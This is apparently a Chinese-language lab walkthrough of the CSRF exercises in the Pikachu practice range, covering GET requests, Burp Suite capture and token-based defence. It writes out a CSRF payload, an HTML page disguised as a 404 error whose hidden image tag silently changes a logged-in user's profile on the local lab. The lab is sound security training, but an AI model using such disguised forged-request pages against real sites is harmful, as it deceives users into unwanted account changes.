打开pikachu靶场的CSRF我们可以看到CSRF的练习共有三项,分别为get、post、CSRF Token,在概述的地方有对CSRF的简单描述和一个小场景,对CSRF不熟悉的话建议先看看,看完之后那就开始趴。

点击CSRF(get)我们可以看到一个登录页面,点一下提示我们能够得到用户的登陆密码(后面两个的第一部也是一样的操作哦~要先登进去再进行后面的操作)

登陆进去我们能够看到一些基本的信息

尝试修改一下(点击submit之前记得打开bp抓一下包)

修改成功!

去bp里面瞅一眼看看抓到了什么


在同一浏览器中(敲黑板!!!)打开这个URL将执行修改操作


写入html文件中,诱骗用户点击,并使用各种提示打消用户的疑虑。在这里我浅试一下,还有一些其他的方法可以从文章最后的传送门走
伪装成错误页面(即404页面)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>页面找不到</title>
</head>
<body>
<img src="http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18888883333&add=地球村55号&email=18888888888@163.com&submit=submit" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>

建议把这个文件和csrf_get.php放到同一个目录下

不然就会象这样(个人觉得就是有问题的一个链接)


修改信息、抓包、提交、看bp


刷新页面

这是一个防范CSRF的常用方法演示

修改用户信息并提交,在bp里可以看到报文中包含token

到浏览器中看一下源代码,多刷新几次我们可以看到它的token值都是不一样的,想深入了解的话可以看一下token_get_eidt.php

每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。在生成新token之前会先销毁老token,避免token重复使用。

(1条消息) 如何防止CSRF攻击?_小曹要加油的博客-CSDN博客_防止csrf攻击
(1条消息) pikachu之CSRF漏洞_要努力。。的博客-CSDN博客_csrf pikachu
4-3 csrf token详解及常见防范措施总结_哔哩哔哩_bilibili